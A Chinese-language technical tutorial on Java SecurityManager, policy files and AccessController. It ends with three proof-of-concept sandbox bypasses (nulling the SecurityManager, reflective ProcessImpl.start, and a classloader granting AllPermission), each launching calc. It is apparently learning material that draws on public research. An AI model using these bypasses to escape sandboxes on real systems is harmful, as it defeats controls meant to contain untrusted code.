0x01 Java SecurityManager是什么 Java SecurityManager是为应用程序定义安全策略的对象,通过策略指定不安全或敏感的操作,安全策略不允许的任何操作都会抛出SecurityException,应用程序可以查询其安全管理器允许的操作。
Java程序默认情况下都没有开启SecurityManager,如果开启了我们可以通过System.getSecurityManager获取安全管理器java.lang.SecurityManager对象,SecurityManager实现安全策略的管理,允许应用程序在执行可能敏感操作之前确定该操作是否被允许,应用程序可以允许或禁止该操作。
java.lang.SecurityManager包含很多checkXXX形式的方法,checkXXX方法用于检查XXX操作的权限,权限主要分为以下几类:文件、套接字、网络、安全、运行时、属性、AWT、反射和序列化,对于管理这些权限的类是java.io.FilePermission、 java.net.SocketPermission、java.net.NetPermission、 java.security.SecurityPermission、 java.lang.RuntimePermission、java.util.PropertyPermission、 java.awt.AWTPermission、 java.lang.reflect.ReflectPermission、和 java.io.SerializablePermission。
Java SecurityManager应用场景: 当运行未知Java程序,该程序可能有恶意代码(操作系统文件、重启系统等),为了防止运行恶意代码对系统产生影响,需要对运行代码的权限进行控制,就要启用Java安全管理器。
如何启动SecurityManager? 有两种方式启动:
启动参数方式:-Djava.security.manager,若要同时指定配置文件的位置通过-Djava.security.manager -Djava.security.policy="E:/java.policy" 
编码下创建SecurityManager实例来启动: 
 
1 2 3 4 SecurityManager securityManager = new  SecurityManager(); System.setSecurityManager(securityManager); System.setProperty("java.security.policy" , "file:/E:/myTest.policy" ); 
 
管理SecurityManager配置文件: 当配置文件没有被指定时,则会使用默认的安全策略配置文件$JAVA_HOME/jre/lib/security/java.policy。
安全配置的基本原则如下:
1 2 3 4 1、没有配置的权限表示禁止。 2、只能配置允许的权限,不能配置禁止的操作。 3、同一种权限可多次配置,取并集。 4、同一资源的多种权限可用逗号分割。 
 
以下是默认安全策略文件内容,分为两部分的授权,一是授权基于路径在”file:$/*”的class和jar包所有权限,二是针对权限的细粒度配置,可以参考每种类别的javadoc说明。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 grant codeBase "file:${{java.ext.dirs}}/*" {         permission java.security.AllPermission; }; // default permissions granted to all domains // 定义了所有JAVA程序都拥有的权限,包括停止线程、启动Socket 服务器、读取部分系统属性 grant {         permission java.lang.RuntimePermission "stopThread";         // allows anyone to listen on dynamic ports         permission java.net.SocketPermission "localhost:0", "listen";         // "standard" properies that can be read by anyone         permission java.util.PropertyPermission "java.version", "read";         permission java.util.PropertyPermission "java.vendor", "read";         permission java.util.PropertyPermission "java.vendor.url", "read";         ......         permission java.util.PropertyPermission "java.specification.version", "read";         permission java.util.PropertyPermission "java.specification.vendor", "read";         permission java.util.PropertyPermission "java.specification.name", "read";         permission java.util.PropertyPermission "java.vm.specification.version", "read";         permission java.util.PropertyPermission "java.vm.specification.vendor", "read";         ...... }; 
 
通过一个例子理解SecurityManager的作用 下面是一个通过SecurityManager配置授予指定文件读写权限的例子,只有授予文件权限才允许被读或写(代码放在GitHub了),CreatePolicy文件用来创建一个策略配置文件,也可以通过手动创建,TestFilePolicy用来测试文件读写权限。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 public  class  CreatePolicy   {    public  static  void  main (String[] args)   {         CreatePolicy createPolicy = new  CreatePolicy();         createPolicy.createFile("E:/myTest.policy" ,"E:\\test.txt" );     }          protected  void  createFile (String policyFileName, String allowFileName)   {         allowFileName = allowFileName.replace("\\" , "/" );         String policyContent = "grant {\n"  +                 "    permission java.io.FilePermission \""  + allowFileName + "\",\"read,write\";\n"  +                 "};" ;         try  {             FileWriter fileWriter = new  FileWriter(policyFileName);             fileWriter.write(policyContent);             fileWriter.flush();             fileWriter.close();         } catch  (IOException e) {             e.printStackTrace();         }     } } public  class  TestFilePolicy   {    public  static  void  main (String[] args)   {         String policyFileName = "E:/fileTest.policy" ;         String allowFileName = "E:/test.txt" ;                  CreatePolicy createPolicy = new  CreatePolicy();         createPolicy.createFile(policyFileName, allowFileName);         System.setProperty("java.security.policy" , "file:/"  + policyFileName);                  SecurityManager securityManager = new  SecurityManager();         System.setSecurityManager(securityManager);                  try  {             securityManager.checkWrite(allowFileName);             write(new  File(allowFileName));             System.out.println("file write ok" );         } catch  (Throwable e) {             System.out.println(e.getMessage());         }     }     private  static  void  write (File file)  throws  Throwable  {         try  {             FileWriter fileWriter = new  FileWriter(file);             fileWriter.write("test" );             fileWriter.flush();             fileWriter.close();         } catch  (IOException e) {             e.printStackTrace();         }     } } 
 
执行上面代码,由于通过策略文件授予了E:/test.txt文件的读写权限,应用可以成功写文件;如果删除注释中的1、2步骤,执行代码,由于没有配置安全管理器,应用可以任意写文件;如果删除System.setProperty("java.security.policy", "file:/" + policyFileName);对策略文件的配置,使用默认策略,写文件会失败,因为默认配置文件没有授予文件写的权限。
因此通过上面这个例子,我们可以理解SecurityManager主要的作用就是配置权限,管理安全策略,防止不必要的授权。
0x02 AccessController 域模型: 参考:https://tech101.cn/2019/08/15/AccessController%E7%9A%84doPrivileged%E6%96%B9%E6%B3%95%E7%9A%84%E4%BD%9C%E7%94%A8#%E5%9F%9F%E6%A8%A1%E5%9E%8B 
在当前最新的Java安全模型中,引入了 域(Domain)的概念。虚拟机会将所有代码加载到不同的域中。其中系统域负责和操作系统的资源进行交互,而各个应用域对系统资源的访问需要通过系统域的代理来实现受限访问。JVM中的不同域关联了不同的权限,处于域中的类将拥有这个域所包含的所有权限。
在域模型中,为了实现权限控制,涉及到一些概念,包括:
代码源(code source):代码源表示类的来源URL地址,代码源由类加载器负责创建和管理。 
权限(permission):封装特定操作的请求 
策略(policy):策略是一组权限的总称,用于确定权限应该用于哪些代码源。 
保护域(protection domain):封装代码和代码所拥有的权限,保护域可以理解为是代码源和权限映射关系的集合 ,一个类如果属于一个保护域,那么这个类将拥有这个域中的所有权限。 
 
这里codeBase相当于制定了代码源 哪些代码,permission java.lang.FilePermission "read";指定了代码源拥有的权限,而保护域会将多个code source和多个permission之间的关系进行映射
1 2 3 4 5 6 7 grant codeBase "file:/code/A/*" {         permission java.lang.FilePermission "file1","read"; } grant codeBase "file:/code/B/*" {         permission java.lang.FilePermission "file1","read,write"; } 
 
上面策略对应的域如下:
AccessController.checkPermission工作机制上面例子中通过securityManager.checkWrite(allowFileName);检查文件的写权限,checkWrite方法调用checkPermission处理,最终委托给AccessController.checkPermission(perm);检查。
1 2 3 4 5 6 7 public  void  checkWrite (String file)   {    checkPermission(new  FilePermission(file, securityConstants.FILE_WRITE_ACTION)); } public  void  checkPermission (Permission perm)   {    java.security.AccessController.checkPermission(perm); } 
 
AccessController判断权限的主体是调用者(Caller)。基于访问控制的规则,AccessController在进行权限判断的时候,它不仅仅检查当前Caller是否拥有权限,而是对整个调用链上的所有Caller进行权限检查。对调用链上的每个Caller,都会基于它们各自所属的ProtectionDomain中的权限集合进行检查。当满足下面的二个条件,则表示访问被授权: 1、在当前调用链上,从当前的Caller到初始Caller之间的所有Caller都能被各自所属的ProtectionDomain中的权限授权。 2、在当前调用链上,其中有一个Caller被标记为privilege并且被授权,同时接下来调用的过程中所有调用都能被各自的域授权。 如果上述的二点有任何一点不满足,则AccessController.checkPermission()会抛出AccessControlException。
 
AccessController.doPrivileged()授予特权 Caller如何被标记为privilege?可以调用AccessController.doPrivileged()临时授权。
将上面TestFilePolicy例子改写,上面的例子只有文件的写权限,我们需要临时用到读权限,通过doPrivileged满足。在main中添加调用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 try  {    AccessController.doPrivileged(new  PrivilegedExceptionAction<Void>() {         @Override          public  Void run ()  throws  Exception  {             try  {                 System.out.println("file read ok" );                 read(new  File(allowFileName));             } catch  (Throwable throwable) {                 throwable.printStackTrace();             }             return  null ;         }     }); } catch  (PrivilegedActionException e) {     e.printStackTrace(); } 
 
0x03 Java SecurityManager绕过 本次学习实验参考的https://github.com/codeplutos/java-security-manager-bypass。 
1、通过授权RuntimePermission为setSecurityManager和设置SecurityManager为null,绕过check
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public  class  SetSecurityManagerNullBypass   {    public  static  void  main (String[] args)   {         new  SetSecurityManagerNullBypass().exec();     }     private  void  exec ()   {                                                      System.setSecurityManager(null );                  Runtime runtime = Runtime.getRuntime();         try  {             runtime.exec("calc" );         } catch  (IOException e) {             e.printStackTrace();         }     } } 
 
2、通过反射权限执行恶意代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public  class  BypassByReflection   {    public  static  void  main (String[] args)   {                                                                        exec("calc" );     }     public  static  void  exec (String command)   {         try  {             Runtime.getRuntime().exec(command);         } catch  (Exception e) {             e.printStackTrace();         }     }     public  static  void  executeCommandWithReflection (String command)   {         try  {             Class clz = Class.forName("java.lang.ProcessImpl" );             Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);             method.setAccessible(true );             method.invoke(clz, new  String[]{command}, null , null , null , false );         } catch  (Exception e) {             e.printStackTrace();         }     } } 
 
3、通过赋予加载器权限,自定义加载器来执行恶意代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 public  class  BypassByClassloader   {    public  static  void  main (String[] args)   {                                                      MyClassLoader mcl = new  MyClassLoader();         try  {             Class<?> c1 = Class.forName("com.r17a.commonvuln.securitymiconfig.securitymanager.Evil" , true , mcl);             Object obj = c1.newInstance();             System.out.println(obj.getClass().getClassLoader());         } catch  (ClassNotFoundException | IllegalAccessException | InstantiationException e) {             e.printStackTrace();         }     } } class  Evil   {    public  Evil ()  {         try  {             Runtime.getRuntime().exec("calc" );         } catch  (IOException e) {             e.printStackTrace();         }     } } class  MyClassLoader  extends  ClassLoader   {    public  MyClassLoader ()   {     }     public  MyClassLoader (ClassLoader parent)   {         super (parent);     }     @Override      protected  Class<?> findClass(String name) throws  ClassNotFoundException {         File file = getClassFile(name);         try  {             byte [] bytes = getClassBytes(file);                          return  defineClazz(name, bytes, 0 , bytes.length);         } catch  (Exception e) {             e.printStackTrace();         }         return  super .findClass(name);     }     protected  final  Class<?> defineClazz(String name, byte [] b, int  off, int  len) throws  ClassFormatError {         try  {             PermissionCollection pc = new  Permissions();             pc.add(new  AllPermission());                          ProtectionDomain pd = new  ProtectionDomain(new  CodeSource(null , (Certificate[]) null ),                                                        pc, this , null );             return  this .defineClass(name, b, off, len, pd);         } catch  (Exception e) {             return  null ;         }     }     private  File getClassFile (String name)   {         File file = new  File("./"  + name + ".class" );         return  file;     }     private  byte [] getClassBytes(File file) throws  Exception {         FileInputStream fis = new  FileInputStream(file);         FileChannel fc = fis.getChannel();         ByteArrayOutputStream baos = new  ByteArrayOutputStream();         WritableByteChannel wbc = Channels.newChannel(baos);         ByteBuffer by = ByteBuffer.allocate(1024 );         while  (true ) {             int  i = fc.read(by);             if  (i == 0  || i == -1 ) {                 break ;             }             by.flip();             wbc.write(by);             by.clear();         }         fis.close();         return  baos.toByteArray();     } } 
 
0x04 参考链接: 1 2 3 4 5 6 7 https://docs.oracle.com/javase/tutorial/essential/environment/security.html https://docs.oracle.com/javase/8/docs/api/java/lang/SecurityManager.html https://docs.oracle.com/javase/8/docs/technotes/guides/security/PolicyFiles.html https://c0d3p1ut0s.github.io/%E6%94%BB%E5%87%BBJava%E6%B2%99%E7%AE%B1/ https://github.com/codeplutos/java-security-manager-bypass https://docs.oracle.com/javase/8/docs/technotes/guides/security/doprivileged.html https://tech101.cn/2019/08/15/AccessController%E7%9A%84doPrivileged%E6%96%B9%E6%B3%95%E7%9A%84%E4%BD%9C%E7%94%A8